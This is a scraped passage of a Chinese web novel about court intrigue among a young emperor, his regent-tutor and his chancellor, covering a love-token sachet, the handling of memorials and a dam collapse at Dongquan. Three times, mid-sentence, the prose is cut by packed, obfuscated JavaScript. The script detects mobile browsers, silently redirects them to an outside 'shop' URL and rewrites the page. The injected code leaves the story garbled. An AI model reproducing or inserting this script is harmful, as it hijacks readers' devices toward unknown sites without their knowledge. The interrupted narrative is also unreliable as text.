简如是收回手,看了她一眼,突然开口:“你是圣上身边的蝉衣吧。” “本相谢过蝉衣姑娘引路之举。”简如是又淡淡道:“刚才本相途中不慎丢了一个香包,如此小事,还望你不要见怪。” 蝉衣浑身一凛,低着头说:“是,奴婢什么也没看见。” 简如是依旧是那副春风和熙的模样,听了她的话,语气温和道:“谢了,请蝉衣姑娘继续引路吧。” * 入夜,晚膳后,谢桐发现罗太监带着几个小太监,将一大堆折子搬进了御书房。 “这是在做什么?”谢桐蹙眉,看着地上那如小山高的奏折:“这些折子,是从哪儿来的?” 谢桐登基后,规定三日一早朝,其余时候,如无万分重要的大事,朝臣们都是上折给谢桐批示。 每日的奏折有专人负责收集递送至御书房,一般在辰时就会完成此项任务,现在这么晚了,怎么还有这么一大堆送过来? “回圣上的话,”罗太监擦了擦脸上的汗,躬身道:“这是太傅府上送来的,奴才只是命人将其搬入御书房,方便圣上批阅。” “……”谢桐盯着堆积的折子片刻,随手拾了最顶上一本,翻开看了看。 这折子不是上给自己的——谢桐一眼扫过,就能得出这个结论。 手里这本折子,抬头没有“臣某某叩禀圣上”,其内行文表述也从未提到过自己这个皇帝,只是就禀奏之事进行陈述,字词清晰,简单明了,是为修缮某县河道所需经费上的折。 与谢桐这段时日看见的那堆溢满华丽虚词、却无实际正事的奏折截然不同。 这些是递给闻端的折子。 罗太监叫人抬完折子过来,就退下去了,留谢桐一人站在御书房中,在明亮的烛火下,垂睫看着这些真正意义上的“奏折”。 “什么意思……” 谢桐无意识地喃喃道:“怎么突然……?” “圣上。”罗太监在书房外,隔着门道:“太傅大人求见。” 谢桐应了,转过身,就见闻端迈过门槛,抬步入了御书房。 “臣见过圣上。” 闻端像是刚从府中过来,所着的衣袍略显随意,半新不旧的,是一件从前谢桐见他在府内最常穿的广袖长衫。 “老师不必多礼。” 谢桐见他来,许是为了那些折子,索性率先道:“老师叫人送来这一堆折子是何意?朕可看不完那么多的奏折。” 闻端走近两步,与谢桐一同站在那堆折子山前,闻言漫不经心地说: “圣上已经即位,各处的奏折都应呈给圣上才是,有些朝中同僚们误递了给臣府上,臣都尽数给圣上送回来了。” 谢桐听他这番冠冕堂皇的理由,忍不住轻哼一声,道:“怎会有如此多的臣子都递折子到闻府?是他们误递了,还是老师你私下有令,命他们将折子送给你?” 闻端偏了下脸,一双墨眸看向谢桐:“臣不敢。” “圣上明鉴。”闻端又说。 谢桐知晓事实,但此时罕见地没有发作——他确实已经为这奏折之事烦恼了许久。 自从去过闻端府上用早膳后,这半个月以来,两人见面的次数屈指可数。除了朝上的遥遥一见,就再无其他接触。 谢桐每日拿了那些阿谀奉承的奏折,看了就烦,召来臣子们奏对,也是语焉不详推三阻四的。 谢桐发了几次火,罚了数个和他打太极的狗官,后面来的人倒是不敢明目张胆地敷衍他了,改为一问三不知,凡事得问闻太傅。 如此情形下,闻端来求见过几次,也通通被恼火的谢桐拒之门外。 距离上一次谢桐拒了闻端的请见,已有五日。今晚闻端先送了折子上门,谢桐才勉强按了那股怒气。 “这奏折……”谢桐绕到书案后坐下,将手里拿着的那本在案上敲了敲,似笑非笑道: “若是再有误呈到老师府上的,老师这样夜夜给朕送来,也未免过于辛劳。” “不如这样,误呈去老师那边的折子,你每三日收集一批,再递到朕的御书房来,如何?” 谢桐试探性开口问。 他想知道闻端今夜这个举动,究竟是一时兴起,只是短暂地来服个软,来哄他谢桐开心。还是下定决心,要将这朝中大小事的决策权交还给谢桐这个天子。 他没叫闻端坐下,闻端却自个儿挑了个离书案近的软椅坐了。 听见谢桐的问话,闻端似乎不易察觉地轻笑了一下,但那唇角扬起的弧度太过细微,没等谢桐细看,就已然消失了。 “恐怕不行。”闻端理了理袍口,慢条斯理道:“圣上,恕臣无法依你之言,每三日送一次折子过来。” 谢桐的脸色沉下去了:“为什么?” 果然还是……< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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谢桐闭着眼,忽然感到面前有阴影笼罩,一阵十分熟悉的浅淡气息靠近,似林中松柏被雨水打湿的味道,沉而冷的,没有侵略意味,却也有着难以忽视的存在感。 谢桐睁开眼,就看见闻端站在案前,伸手过来,指腹很轻地叠按在谢桐的手指上,顺势揉了揉他的太阳穴。 “夜间风凉,可是头疼?” 逆着烛火的光,谢桐有些瞧不清闻端眸中的神色,只听见他的问话:“臣请太医过来看一看,可好?” 谢桐怔怔坐了片刻,无奈道:“不用,朕是见了这堆折子心烦。” 他从来就不爱看书,如今更不爱看折子。这大晚上的,闻端抬着这堆奏本进来,不是给他添堵么? “圣上。”闻端替谢桐揉了揉太阳穴,见他不是真头疼,于是收回手,淡淡道:“这些是臣过往七年,每一日都要经手的朝务。” “圣上既然想从臣手上把权揽回去,这些就不能不看。” 谢桐没料到他话说得这样直白,一时间愣住了。 闻端:“臣已知会过朝中上下,今后的奏折,不用再递给臣,只需要递给圣上,若是再有呈进臣府中的,臣也会给圣上送过来。” 他低下眼,墨眸宁静:“这不是圣上想要的吗?” 谢桐与闻端对视片刻,抿了下唇,开口说:“是。” “老师能想清楚,朕……很高兴。” 谢桐沉下情绪,让自己重新恢复天子的稳重和冷静,平缓道: “朕要开始批折子了,夜已深,老师如无其他要事,可让罗公公遣人送你回府。” “不急。”闻端又说:“臣在一些折子里夹了纸条,写了臣对此件事的见解,圣上觉得有道理,可直接将臣的法子写上去。” 谢桐闻言,伸手在那堆奏本里翻了翻,果然找到了几本夹着纸条的。 皆是涉及事务繁杂,难以快速定论的;又或者是表面上看起来平平无奇,实际上却大有门道的奏本。 “……朕知晓了。”谢桐按住那几本,轻吸了一口气,道:“多谢……老师。” 闻端看了他许久,说:“圣上对臣,不必言谢。” 谢桐点点头,正想起身送闻端出去,忽然瞥见书案右上角放着的一个胡桃木方盒。 这盒子是什么时候出现在他案上的?也是和这堆折子一起送来的么? 谢桐抬手把那方盒拿过来,打开一看,蹙眉道:“老师,这也是你的东西吗?” 巴掌大的方盒里,躺着一个檀色香囊,似是浸了水,表面微微呈现出深色。 “不是臣的。” 闻端走到方盒旁边,垂眼瞧了瞧,语气听不出情绪:“臣路上捡了,还以为,这是圣上遗失的物品。” 谢桐只觉莫名奇妙:“哪里捡的?朕怎么会有这种玩意儿?” 闻端细细地端详了片刻谢桐面上的神情,半晌后才敛起目光。 “那便是臣弄错了,这香囊不应呈到圣上跟前来。” 谢桐看着闻端把装有香囊的方盒合上,又唤了罗太监进来,道:“把这捡来的东西处理了,省得碍了圣上的眼。” 等罗太监捧着盒子出去后,谢桐眉心拧起,总觉得哪里有些不对劲。 闻端平时,也不是这样小题大做的人,一枚香囊而已,何必递到他面前来问? “那香囊里面,有什么?”谢桐不禁问。 闻端倚在书案边,闻言,很轻地笑了一声。 “一块同心玉。”他嗓音缓慢道。 6. 博弈 同心玉? 谢桐知道这个,是现在京城中时兴的,赠于还未定下婚约的有情人的信物。 他寻思了片刻:“许是哪个侍卫赠与宫女的物什,朕又没有下令不允宫内发生此事,他们何苦要把香囊丢进水里。” 闻端“唔”了一声,漫不经意地说:“或是不得心上人欢喜,还未送出去就丢了也未可知。” 谢桐不在意道:“无妨,送去处理了吧。” 罗太监带着那方盒走到御书房外,随意叫了个小太监:“你过来,把这盒子找个地方烧了。” 小太监是新来的,年纪轻,眼神怯懦,小心接过盒子,疑惑地问:“师父,这盒子里是什么?” 罗太监伸手打了他那圆溜溜的脑袋一下子,训道: “不该问的别多问!闻公亲口吩咐的,你最好老老实实地把东西烧了,一个多余的举动都不要有!” 小太监捂着脑袋,点头说:“好……” * 丞相府。 简如是已经沐浴过,换了一身寝衣,乌发披散,正坐在榻边持着书卷在看。 一个仆人敲了敲房门,得到简如是的允许后,轻手轻脚地走进来,低声汇报: “丞相,宫里传来消息,闻端果然命人在那池塘里捞了香囊出来,又带去了御书房。” 简如是神色平静,翻过了一页书,才开口问:“带去御书房做什么。” 仆人答:“似是拿给圣上瞧了。” 简如是笑了一声,柳叶眸弯起:“拿给圣上瞧有什么用?圣上又不清楚那东西是我扔的。” 仆人:“是。闻端应该没看出异样,吩咐人把那香囊连同里面的玉一起烧了。” 简如是却摇摇头。 “闻端是何等聪明人,” 他将手里的书卷放在旁边,淡淡道,“莫说里面有枚特意放进去的同心玉,就是只有个香囊包,闻端肯定也会起疑心。” 仆人神情不解:“丞相,那岂不是……” 简如是又笑了笑:“要的,就是他起疑心。” “闻端对圣上究竟是什么心思,我不知道。” “不过可以让他琢磨,本相与圣上的关系。” 简如是起身,把桌台上的几盏烛火一一灭了,缓慢道:“只需要用点伎俩,让他明白,圣上从来都不和他一条心,这就足够了。” * 谢桐在御书房里暗无天日地批了几天的折子,终于批烦了。 “来人。”谢桐把朱笔丢下,捏着眉心,十分不耐烦地喊人,开口:“给朕把闻太傅叫到御书房来。” 今日的早朝刚刚结束,闻端还未走远,因此过了约莫一盏茶功夫,就到了御书房门口。 谢桐这些天睡眠严重不足,眼下显现出淡淡的乌青,无论喝多少浓茶,都压不下那阵汹涌的困意,只能用一手支着头,撩起长睫瞥了闻端一眼,道:“老师,坐。” 闻端好整以暇地坐了,还问:“臣见圣上面色不佳,可是龙体不适?” 谢桐把面前那堆奏本推开,轻吸了一口气,问:“朕无法看完这么多折子,想找人来替朕分担一些。” 闻端没说话,只静静地看着他。 谢桐在乱糟糟的书案上随手拾了几本折子到手上,顿了顿,将自己的想法道出来: “朕命人数过,如今每日递呈至御书房的奏本,总数共有三百二十本往上。” “其中半数是请安折子,剩下的半数里,又有一大半奏禀的朝务,实际上可归六部处理,只是需要一个朕的朱批。” “最后的这一些,”谢桐伸出手,拍了拍放置在右手侧的一叠奏折,说: “才是真正需要朕做决策的,但其中涉及事项良多,朕方登基,对朝廷上下了解不足,难以在短时间内作出批示,这就需要耗费更多的时间。” 闻端嗯了一声,墨眸里有着几分赞许:“圣上说的很对。” “所以朕在想……” 谢桐慢吞吞道:“是否可以改良一下,提高‘效率’。朕还有很多东西要学要做,不能成天把时间浪费在批折子上边。” 效率这个词,还是谢桐从那个预知梦中学会的。 果然,闻端问:“何为提高效率?” 谢桐:“请安折子,朕打算让宫人事先整理出来;那些六部可以处理的小事,朕可以叫各部先拟了批示意见,夹在折中一同递到御书房,也省的朕再琢磨。” “还有,最重要的是,” 谢桐把折子拿在手里翻来翻去,用一种云淡风轻的语气道: “朕想叫一个人,专门为朕处理方才所说的两类折子,替朕写朱批。等写完后,朕再看两眼就是。” 谢桐问:“老师觉得此举如何?” 闻端与他对视片刻,才说:“臣认为很好。” “是么?”谢桐笑了笑,忽然又问:“那这个人,老师心中有没有建议呢?” 闻端垂眸呷了口茶,不动声色道:“但凭圣上吩咐。” “噢。”谢桐稍微坐正了些,一字一句地清晰出声:“朕觉着,简相便不错。” 话音刚落,御书房里突然变得安静起来。 或许不是安静,而是有某种沉沉的气压笼罩而来,那种威压虽然无形,却能令人清楚地感知到。 谢桐唇角含着笑意,寸步不让地直视着那个男人。 闻端也许早有预料到今日的局面,谢桐心想。 从带着如山的折子进到御书房的那一刻,他就知道,谢桐一定难以只靠自己就处理完这么多的朝务。 谢桐另一只垂在书案下的手攥紧。 自己处理不完,就会找闻端帮忙,不费吹灰之力,闻端就能重新掌握他给出来的这项权力——还是谢桐亲手递回去的,不会再有怨言。 更不必说,朝中六部尽是闻端麾下的人马,兜兜转转一圈回来,这朝内的局势,根本没有多少变动。 闻端就可以用最少的算计,获得最大的收益。 不过他料错了,谢桐想,自己并不是那种任人拿捏的软柿子。 闻端想他亲口将权柄送回去,谢桐偏不。 “简如是为相也有一段时日了,” 在一室静寂中,谢桐又开了口:“朕觉得,他还年轻,正是需要多历练的时候,不如趁着这个机会,让朕也与他多接触一番,看看他的能力究竟如何。” 闻端将茶盏拿在手上,沉默了很久。 “圣上,”闻端终于缓缓出声:“臣自认代理朝政多年,若是圣上实在缺那么一个人,替圣上分忧解难,臣……斗胆自荐。” “朕认为不可。”谢桐当即道。 “老师身为太傅,代先帝打理繁重朝务,既有功劳也有苦劳。但如今朝中上下也有不少人对老师议论颇多,为保老师清白名声,朕觉得,还是不宜插手为好。” “……”闻端问:“圣上执意如此?” 谢桐心道你想拿朕怎么样,一边高深莫测地点点头。 “……既然这样,那臣有一事,也不得不禀报给圣上。”闻端突然说。 谢桐蹙了下眉:“何事?” 闻端合上茶杯盖,将茶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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如果硬要说从什么时候开始,觉得简如是对自己总有那么一丝若即若离的暧昧,那就是谢桐登基当夜,有了那个“预知梦”之后…… 谢桐轻吸了一口气,稳了稳心神,睁开眼道:“香囊应是简相的私人物品,既已丢了,那此事便揭过了吧。” 闻端点点头,又问:“那这替圣上批折子的人选——” “……暂且不提,过个几天再议。”谢桐无力道。 闻端似是笑了一下,但那笑意稍纵即逝,没等谢桐定睛看见,就已然恢复了平常的模样。 “臣也可帮圣上分忧一二,”闻端正色道:“倒不是向圣上要什么权柄……只要圣上吩咐,要臣来便来,要臣走便走,臣绝不会向圣上要求更多的东西。” 谢桐扶着额,沉默了一会儿,正要开口,两人忽然听见御书房外传来罗太监急切的嗓音。 “圣上,闻太傅,工部有急事求见。” 谢桐蹙眉:“怎么了?” 今日的早朝都上完了,有什么事不在朝上说,要下了朝到御书房禀奏? 御书房的门卜一打开,工部尚书刘黔宽胖的身影就扑了进来,还没站稳,就满脸是汗声音发颤地开口: “太、太傅、圣上,不好了……” “东泉县内拦河的堤坝溃了,河水倒灌,直淹了方圆十里的地和房屋……派去治水的官员,和东泉县府,都、都通不上信了……” 谢桐霍然起身:“你说什么?” 7. 争伴 东泉县位于南部沿海,城中有着数万人口,六十年前对外通商的口岸至今仍在使用,城内终年熙熙攘攘,是个商业和人文都无比繁荣的地方。 丑时一刻,御书房灯火通明,谢桐一手拆开火漆加封的急报,迅速扫了两眼,而后径直递给了右手边的闻端。 书房里,闻端、简如是、工部尚书刘黔分坐两侧。 闻端神色如常,简如是垂眸饮茶,唯有刘尚书在这凉风阵阵的夜里暴汗如雨,用来擦汗的袖口都被浸成了深色。 闻端看完急报,又随手递给了简如是。简如是瞧了后,却将那薄薄的纸张卷起,放在了一旁的茶案上,没有给刘黔。 “圣上,”刘黔擦了把汗,开口道:“臣也是刚刚收到消息,就赶来宫里了,这……这封急报,臣还没看过呢。” 谢桐不搭理他,一边从御案后的书柜上取出了几样地图,一边问了他另一个问题: “东泉县最后一次禀报水患事宜,是什么时候?” 刘黔偷眼看了看闻端,见闻端的神情没有任何变化,犹豫了一会儿,如实道:“是……一月以前。” “一月以前。”谢桐按着桌上的地图,重复了一遍,几乎要被气笑: “所以说,东泉县有可能已经被淹了一个多月,如今城内生死不明,而现在朕才知晓此事?” 刘黔连汗也不敢擦了,忙起身跪到地上:“圣上,信使往来也是需要一定时间的,这不能怪工部怠于职守……” “那你们派下去传递水患消息的信使呢?” 谢桐打断了他的话,曲指叩了叩桌面,冷冷出声: “这封急报,还是东泉县临近的小城送来的,刘尚书,你们的信使呢?还在路上走着么?” 刘黔:“臣……” 刘黔左看右看,御书房中无人替他说话,索性一咬牙,以地叩头道:“臣无能,请圣上降罪。” “圣上当然会治你的罪,刘尚书。” 一直安静坐在旁边的简如是忽然开了口,嗓音依旧温和如春风: “南部沿海的水患早于数月前便有端倪,工部治水治了这么久,成效没有见着,还致使东泉县大坝溃堤。如此大祸,刘尚书难道还能安安心心地坐在这位子上么?” 刘黔怔愣了片刻,隐约听懂了简如是话中的含义,不禁把求救的目光投向闻端。 不料闻端却不如他想象中的那样出言为他辩解,男人稳稳坐在位子上,自始至终,连懒散闲适的姿势都没有变过,看上去似乎并不觉得当下讨论的,是如何一件紧急的重要大事。 这般淡定的姿态让刘黔莫名升起了一股希望,或许,事情也不是糟糕得无可救药…… 看在自己当年投靠了他的情分上,闻端应该还是会帮一帮自己—— “圣上,” 在刘黔热切的目光下,闻端终于有了动作,淡淡道:“臣以为,刘尚书玩忽职守,应革职后禁足府中思过。” 刘黔期望的神色冻住了,不敢置信地盯着闻端,直到谢桐将一封新写好的圣旨轻飘飘扔到他脸上,才反应过来。 “拿着圣旨,即刻滚出御书房。”谢桐瞥了他一眼:“别在这碍着朕的眼。” 刘黔失魂落魄地离开后,闻端才缓慢道:“既已罚了,圣上也不必再生气。” “如‘滚’这样的字眼,太过粗俗,圣上身为天子,以后还是少说为好,有损圣上的威仪。” 谢桐这回是实打实地被闻端气得笑出了声。 “有损威仪?” 谢桐绕过御案,几步走到闻端跟前,居高临下地看着这个安坐如山的男人,毫不掩饰嗓音中的怒意: “闻太傅,朕不仅要说滚,现在还想叫你滚出去。” 听到他的话,闻端抬起眼与谢桐对视,墨眸深深,不紧不慢道: “臣又何处惹恼了圣上?” 盛怒当头,谢桐也顾不得简如是还在了,语气冷冷地说:“六部都在你闻太傅手里,刘黔不是你的人么?” “圣上明鉴,刘黔不能叫‘臣的人’。” 闻端道:“先帝尚能理政时,刘黔已经是朝中元老,根基颇深,连臣也不得不忌惮。” “当年留刘黔在工部,也是因为考虑到多方势力纠葛……” 闻端有意无意地瞥了坐在另一边的简如是一眼,嗓音低沉道: “此间涉及故事许多,圣上若有兴趣,之后臣再讲给圣上听如何?现在还是处理水患的事情要紧。” 随着他几句话下来,谢桐的怒火被浇灭大半,逐渐变得冷静,明白现在不是追究这个问题的时候。 “刘黔的事,可以暂放一旁。” 谢桐蹙眉:“但闻太傅,朕即位后明明听你提起,早在南部水患严重之时,你已派了治水能臣赶赴过去,这人是谁?说是能臣,怎么还能把事情办成这样?” 闻端这一次没有立即回答,而是思考了一会儿。 “东泉县失联,只是表面上而言。” 闻端慢慢道:“臣相信派过去的那位臣子的能力,东泉县虽已溃堤,但或许城内还未到最糟糕的地步,但究竟如何,只能到了地方才能得知。” 谢桐觉得稀奇:“相信他的能力?你叫了谁过去?” 闻端说:“齐净远。” “……”谢桐感到荒谬:“齐净远不是刑部侍郎吗?” “他之前确实是,”闻端语气悠悠道:“不过臣见他能力突出,兼有常人难及之诡才,所以临时给他任了个治水的官职,让他先赴南部沿海去了。” 谢桐:“…………” 回忆起来,这段时间上早朝,似乎确实没有见到过齐净远的身影。 无言了半晌,谢桐还是开口说:“朕想去一趟东泉县。” “圣上,”简如是这时出声阻止:“新帝登基,还从未有这么短时间便离宫千里的记录。况且水患难解,一解便有可能是数月,实在不宜御驾亲至。” “如若圣上信任,臣可代圣上前往东泉县,与齐侍郎一起治水。”简如是又说。 谢桐不答,转身到书案前,垂首细细看了看案上摊开的地图。 “朕觉得有必要亲自去一趟。”他道。 “东泉县是沿海通商的重要隘口,还是南海诸多小国与我朝往来的必经之路。” 谢桐用手指在地图上划了两下,言简意赅地说:“朕这一趟也不完全是单为了治水,还想看看别的东西。” 先帝在位时,曾下令封锁过包括东泉在内的五个对外口岸,直至三年前这道政令才被取消。 如今东泉县的转机刚刚重现,就遭到如此巨大的打击,谢桐想亲自过去看一看,将这个地方妥善安置好,再以东泉为据点,重新打通那条曾经无比繁荣的海上对外通道。 不过这些考虑终究为时尚早,目前最急迫的,还是将东泉县的溃堤修好,终止这场绵延数月的水患。 谢桐下了决定之后,简如是很轻地叹了口气,那双柳叶眸中有着担忧: “圣上,东泉一行艰险重重,没有一个熟悉的人在身边,未免麻烦,请让臣陪您一起去吧。” 谢桐想了想,没等回答,就听见闻端淡淡道:“朝中不能无人坐镇。” 简如是看了他一眼,微微笑了笑:“闻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13611903|143429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太傅打理朝政多年,留在宫中应该没有问题。臣还年轻,陪着圣上一路颠簸,体力也还撑得住,是最合适的人选。” 谢桐:“?” 怎么感觉这番话有点怪怪的。 闻端岿然不动,只是垂首抿了口茶,将目光转向了谢桐: “臣不过虚长丞相一岁,体力倒也不至于到难以支撑的地步。臣觉着,还是听一听圣上的意见。” 与闻端那深邃如墨的眸子一对上,谢桐就猛地想起那个香囊和那什么同心玉的事情来。 “……”谢桐说:“太傅与朕一起去东泉县,简相留在朝中处理日常事务,如有急奏,遣信使飞马南下告知朕就行。” 简如是一愣,有些意外:“圣上……?” 谢桐掀起睫,看着简如是的面容,慢慢道:“简相,朕与太傅一去数月,朝中之事要烦你多费费心思,如此才不负朕的嘱托。” 简如是定定与谢桐相视良久,点了点头:“好,臣必当尽力。” * 送简如是出了御书房,室中又只剩下谢桐和闻端二人。 杯中的茶早已凉了,闻端起身,亲手泡了新茶,给站在书案边凝神研究东泉县地图的谢桐沏了一杯。 谢桐回过神,想起自己似乎还没有问过闻端的意见:“老师可愿与朕同行?” 闻端一手持着茶壶,悠悠抬了下头:“圣上金口玉言,臣岂有不从的道理?” “何况,臣也不是那么不识趣的人。” 闻端随手将茶壶置于一旁,拿帕子擦了擦手,漫不经心道: “圣上想治水患,也想将臣从朝廷中剥离出去,让简丞相接手事务,臣又如何能不遂圣上的心意?” 谢桐闻言,转下了脸。 他此时和闻端离得近,能嗅见那阵熟悉的、雨中松柏的气息,闻端的黑眸也很平静,平静得里面甚至没有多余的情绪,只清透地映着谢桐的身影。 闻端好像没有生气,谢桐莫名心想。 于是谢桐得寸进尺地,朝他露出了一个略有些狡黠的笑容,并且道:“只许老师挑拨朕同简相的关系,不许朕反将一军么?” 闻端挑了下眉,意外问:“圣上……何时得出这个结论的?” “在你对朕说那块同心玉是简相所有的时候。” “但臣并未说谎。” 谢桐摇了摇头:“朕没有不相信,朕只是说——” “老师,你明明也没必要特意将这件小事告诉朕吧?” 谢桐微微仰了下脖颈,注视着闻端的眼眸,慢吞吞道: “即便那枚同心玉是简如是的,即便简如是或许想将那玩意赠予朕,但那又如何。” 谢桐转身往御书房中央走了几步,同时伸手将宽大的袍袖一展: “朕为天子,简如是为臣子。朕何须在意一个臣子是否对朕有其他上不得台面的心思?” 屋内灯火如昼,映在青年素雪般的面容上,仿佛给那俊丽的轮廓镀上了一层暖金色的光晕,眉目间蕴着这个年纪独有的锋芒毕露,顾盼神飞似一株昂扬成长的白杨。 “老师,朕不是那样小肚鸡肠的人。” 谢桐看着闻端,缓缓道:“成大事者不拘小节,朕不会因为区区一枚玉,与朕看重的臣子产生间隙。” 闻端立在书案旁,默然不语。 “圣上聪慧机敏,常人难及。” 闻端久久地凝视着他,终于开了口,并不与谢桐针锋相对,嗓音甚至堪称温和: “只是若如圣上所言,对他人他事毫不关心,又怎么会夜半惊惧而醒,为一个荒唐梦纠结数日?” 8. 恼羞 寅时末,天色还没亮,大宫女蝉衣就接到了从御书房传来的急谕。 “收拾圣上的衣物和随身物品?” 蝉衣有些诧异,试探性道:“圣上是要……搬寝殿么?” 罗太监摇了摇头:“圣上要出宫,去东泉县。” “东泉县?”蝉衣即使是个宫女,也对这个地名有所耳闻,更加惊讶了:“那边不是闹水患么?圣上万金之躯,怎么能去那种地方?” 罗太监长叹一口气:“圣上打算过去体察一下民情,亲自督促当地官府加快治理水患的速度。” 蝉衣想说什么,但又咬住下唇,没有说出口。 她明明听闻,东泉整个县都被淹了,县府也不知是否安在,圣上贸然去那种危险万分的地方,真的没有问题吗? 罗太监朝她抬了抬下巴,示意:“快点儿吧,等天色大亮之后,圣上和闻太傅就准备出发了,现在正在御书房里等着呢。” “这么快?”蝉衣怔了一下,又捕捉到另一个字眼:“闻公也要去?” “对。”罗太监说:“有闻太傅在,想必圣上此行定能顺利。” * 谢桐从御书房里出来的时候,去往东泉县的队伍已经整装待发,停在宫门口附近,沉默地伫立着,侍卫们的盔甲在朝霞下反射着光芒。 罗太监小心地领着几个抱着木箱子的侍卫,跟在谢桐身后,询问:“圣上,您先前吩咐的东西都准备齐了,闻太傅那边……” 他的话还没说完,谢桐就轻飘飘地打断了他:“闻太傅要什么,你去问他,不应该来问朕。” 罗太监犹豫了一下,用余光瞄了眼走在谢桐右后方的男人,说: “可是半个时辰之前,闻太傅说,以圣上您的意见为准,您让他带什么便带什么,不能带什么就不带什么。” 谢桐突然停下了脚步。 “你究竟是听朕的命令,还是听闻太傅的命令?”他冷冷道。 罗太监愣了一下,忙低头认错:“圣上息怒,奴才这一根筋的脑袋转不过弯来,奴才这就去问闻太傅,这就去。” 怎么回事这是……圣上平日里的脾性明明不错,怎么一大早忽然发这么大火? 是昨晚一夜未眠的缘故么? 谢桐又用冷冽的目光剜了他一眼,这才重新往前走了几步,径直踩着马车外铺设的木凳,掀帘进了马车里。 闻端则在外面站住了。 罗太监指示其他人把箱子搬到后面的马车上去,又拿着手里的簿子,走到闻端旁边,小心问:“闻太傅,您这边……” 闻端垂了下眸,淡淡道:“圣上让你们给我准备了什么?” 罗太监语塞了片刻:“这……圣上没吩咐奴才们给您准备东西。” 对上闻端的墨眸,罗太监一悚,忙补充说明: “不过奴才按照一般的惯例,还是给您准备了一箱子换洗衣物、软靴等寻常用物,您看看,还要不要带上什么?” 闻端的视线在罗太监手上那本记录着所需用品的簿子上掠过,顿了顿,开口说: “御书房里,圣上那副棋盘,也一并带上吧。” 御用的马车十分宽敞结实,里面不仅设有休憩用的软榻,还有可以推拉放置的茶几,左右两侧皆有储物柜,甚至还摆有笔墨纸砚与数本书籍,贴心至极。 谢桐坐在马车里,趁还没启程不太摇晃,伸手从旁边的矮柜里抽出了几张宣纸,用笔在上面写下了几个字: “东泉县”、“水患”以及“溃堤”。 注视着纸上的这几个词,谢桐很轻地,蹙了一下眉。 包括东泉县在内的南部沿海地区的水患,在谢桐登基之前便已有端倪。 今年入冬以来,那片地域的雨水就一反常态地越来越频繁。 谢桐看过钦天监的记载,起初是三五日下一场雨,然后下雨的日子逐渐变多,雨水结束的时间也越来越久,直到今天,东泉县所在的地方,已经连续三十一天没有停过雨。 过于充沛的雨水,使得东泉县内的数条河道水位暴涨,淹没了地势较低的农田和草屋,然后又漫进了大量人口所在的主城内。 但东泉的水患,谢桐毕竟早已有所了解。 反倒是县内拦住大江的堤坝倒溃一事,让他心中颇为不安。 原因是,谢桐并非是第一次看见溃堤的字眼。在事关东泉县的急报传入宫中之前,更早的时候,谢桐就看见过这个灾难的发生。 ——在那个预知梦中,在梦中那本字迹清晰的《万古帝尊》里。 谢桐将笔搁下,把面前的宣纸揉成一团,一手支着额,闭了闭眼。 从现在起,第一个预知被实现了。 马车外面有着仆从们忙忙碌碌搬箱子的动静,谢桐沉默地坐在车内,听着外面传来的声音。 如果梦中所展示的一切都是真实,那他和闻端…… 车帘忽然被人掀起,谢桐感受到面前光亮忽现,下意识睁开眼。 闻端披着黑色的狐毛大氅,一手拿着个什么东西,弯腰进了谢桐的马车内。 “……”谢桐放下撑着脑袋的手:“闻太傅,这是朕的地方。” 言下之意,你的马车在后头。 闻端毫不在意,径直坐在了谢桐对面,而后把手里的东西放在了矮桌上。 “怕路上无聊,臣特来陪圣上解解闷。” 谢桐低头一看,闻端将他御书房里,那盘黑白二色的玉质战棋取来了。 这棋是他的心爱之物,但因为忙碌,自从闻端派人把这棋盘送入宫中之后,谢桐就始终没有再寻到空闲,与人在棋盘上对弈过。 明明手痒,但谢桐还是别开脸,冷声道:“朕没有兴致。” 闻端已经着手在整理棋盘,听见谢桐的话,停下了动作,静了半晌,开口问:“圣上……还在生气?” 谢桐反问:“朕生什么气?” 闻端垂下眸,理着棋盘上光滑莹润的黑白玉棋,不紧不慢道:“臣还以为,圣上还在为臣先前在御书房的贸然发问而恼怒。” 谢桐索性倚进了身后的软榻里,语气懒洋洋地说:“闻太傅原来也知道自己冒犯?” “臣只是,”闻端手指抚过摆好的棋子,道:“关心圣上。” “关心?” 谢桐不自觉嗤笑一声,嗓音里带了几分讽意:“太傅的关心,便是命令朕的暗卫从早到晚地监视朕,连吃什么喝什么,与宫女谈了几句什么,都要上报给你么?” “又或是高高在上,明知朕因预知梦的内容烦恼,还要装作这一副置身事外的模样,来教训朕不够冷静,不如你这般从容么?” 他话说得急,清亮的黑眸直直盯着对面的男人,其中燃着跃动的怒火,让那双已经非常漂亮的眸子愈发灼灼有神,夺人心魄。 闻端看着谢桐因情绪上涌,白皙的双颊都染上绯红,不禁开口道:“圣上。” “臣从无教训圣上之意。” “圣上身边的暗卫,从前是先皇交托于臣,叮嘱臣要仔细照顾您的起居安全,故有每日记录的举动。” 闻端垂眸,从左手上摘下了一个黑得纯粹、不带一丁点杂质的墨玉扳指,放在了面前的矮桌上,两指按着往前推给谢桐。 “圣上对暗卫、对臣的忌惮之心,臣明白。” 闻端这样坦然道:“不过圣上也并非没有任何动作,暗卫关蒙已经许久不向臣传递关于圣上的消息了,可见圣上早已不能忍耐。” 谢桐:“……” 关蒙那家伙怎么回事?自己的确是禁止过他再向闻端传递自己的一举一动,但他难道不懂得灵活变通,给闻端一些假消息 